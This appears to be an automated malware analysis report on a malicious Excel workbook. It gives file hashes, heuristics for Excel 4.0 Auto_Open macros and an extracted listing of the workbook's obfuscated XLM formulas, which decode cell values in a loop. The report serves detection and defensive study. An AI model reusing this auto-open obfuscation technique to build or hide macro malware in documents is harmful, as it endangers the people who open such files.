Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 023b45784a2ca06d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:36 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 4f45bba916ef7e62d602e2c1a608fbd0 SHA-1: 4b8d2a651723cedc622f2fdf8a2a7bced1de94da SHA-256: 023b45784a2ca06d1cdb0e36c8ee93b6b815574ce83f01470d9d402606ac7147
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6851 bytes
SHA-256: b5d1aaa208ef0b4a6543e7094f968122dbeeaa4381f703415ae24b28144a13cd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QvQURaKowBL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B193 
' 0018     24 LABEL : Cell Value, String Constant - bLJSizSIq len=0 
' 0018     20 LABEL : Cell Value, String Constant - CptDF len=0 
' 0018     24 LABEL : Cell Value, String Constant - crFdwmIIW len=0 
' 0018     25 LABEL : Cell Value, String Constant - CtsCBVkSaG len=0 
' 0018     26 LABEL : Cell Value, String Constant - DRpRWJvngfh len=0 
' 0018     23 LABEL : Cell Value, String Constant - EPSYWuwd len=0 
' 0018     26 LABEL : Cell Value, String Constant - HxZxMefedIg len=0 
' 0018     27 LABEL : Cell Value, String Constant - iLLqFSfBTgTa len=0 
' 0018     24 LABEL : Cell Value, String Constant - IOZDSirhB len=0 
' 0018     20 LABEL : Cell Value, String Constant - jmZlS len=0 
' 0018     20 LABEL : Cell Value, String Constant - jTWyl len=0 
' 0018     25 LABEL : Cell Value, String Constant - ljrBqcyhOy len=0 
' 0018     20 LABEL : Cell Value, String Constant - LwfKA len=0 
' 0018     21 LABEL : Cell Value, String Constant - mGyYuB len=0 
' 0018     23 LABEL : Cell Value, String Constant - NBxcdVFR len=0 
' 0018     27 LABEL : Cell Value, String Constant - pRULlACJymxL len=0 
' 0018     24 LABEL : Cell Value, String Constant - tAybchnHW len=0 
' 0018     25 LABEL : Cell Value, String Constant - TjJZLRYzFo len=0 
' 0018     20 LABEL : Cell Value, String Constant - uVWyp len=0 
' 0018     25 LABEL : Cell Value, String Constant - yAgLbvoIAk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QvQURaKowBL,S51,"",32.00000000000000000000
'  QvQURaKowBL,S52,"",298.00000000000000000000
'  QvQURaKowBL,S53,"",267.00000000000000000000
'  QvQURaKowBL,S54,"",-905.00000000000000000000
'  QvQURaKowBL,S55,"",-17.00000000000000000000
'  QvQURaKowBL,S56,"",643.00000000000000000000
'  QvQURaKowBL,B92,"SET.NAME("EPSYWuwd",0+VALUE("0"))",""
'  QvQURaKowBL,B97,"SET.NAME("CptDF",EPSYWuwd)",""
'  QvQURaKowBL,B100,"SET.NAME("IOZDSirhB",EPSYWuwd)",""
'  QvQURaKowBL,B104,"SET.NAME("TjJZLRYzFo",COUNTA(uVWyp))",""
'  QvQURaKowBL,B108,"SET.NAME("bLJSizSIq",COUNTA(ljrBqcyhOy))",""
'  QvQURaKowBL,B113,[],""
'  QvQURaKowBL,B116,"SET.NAME("crFdwmIIW","")",""
'  QvQURaKowBL,B121,"CptDF",""
'  QvQURaKowBL,B126,"SET.NAME("pRULlACJymxL",HLOOKUP("*",uVWyp,CptDF,FALSE))",""
'  QvQURaKowBL,B130,"yAgLbvoIAk",""
'  QvQURaKowBL,B132,"SET.NAME("NBxcdVFR",EPSYWuwd)",""
'  QvQURaKowBL,B135,[],""
'  QvQURaKowBL,B137,"NBxcdVFR",""
'  QvQURaKowBL,B140,"CtsCBVkSaG",""
'  QvQURaKowBL,B145,"tAybchnHW",""
'  QvQURaKowBL,B149,"jTWyl",""
'  QvQURaKowBL,B154,"SET.NAME("LwfKA",VALUE(HLOOKUP("*",ljrBqcyhOy,jTWyl,FALSE)))",""
'  QvQURaKowBL,B158,"DRpRWJvngfh",""
'  QvQURaKowBL,B163,"crFdwmIIW",""
'  QvQURaKowBL,B166,"IOZDSirhB",""
'  QvQURaKowBL,B171,NEXT(),""
'  QvQURaKowBL,B174,"iLLqFSfBTgTa",""
'  QvQURaKowBL,B176,[],""
'  QvQURaKowBL,B181,"mGyYuB",""
'  QvQURaKowBL,B186,NEXT(),""
'  QvQURaKowBL,B188,RETURN(),""
'  QvQURaKowBL,B217,"SET.NAME("jmZlS",B92)",""
'  QvQURaKowBL,B220,"uVWyp",""
'  QvQURaKowBL,B225,"SET.NAME("ljrBqcyhOy",R80C15)",""
'  QvQURaKowBL,B229,"SET.NAME("mGyYuB",237)",""
'  QvQURaKowBL,B232,"SET.NAME("HxZxMefedIg",2)",""
'  QvQURaKowBL,B236,jmZlS(),""
'  QvQURaKowBL,B237,HALT(),""

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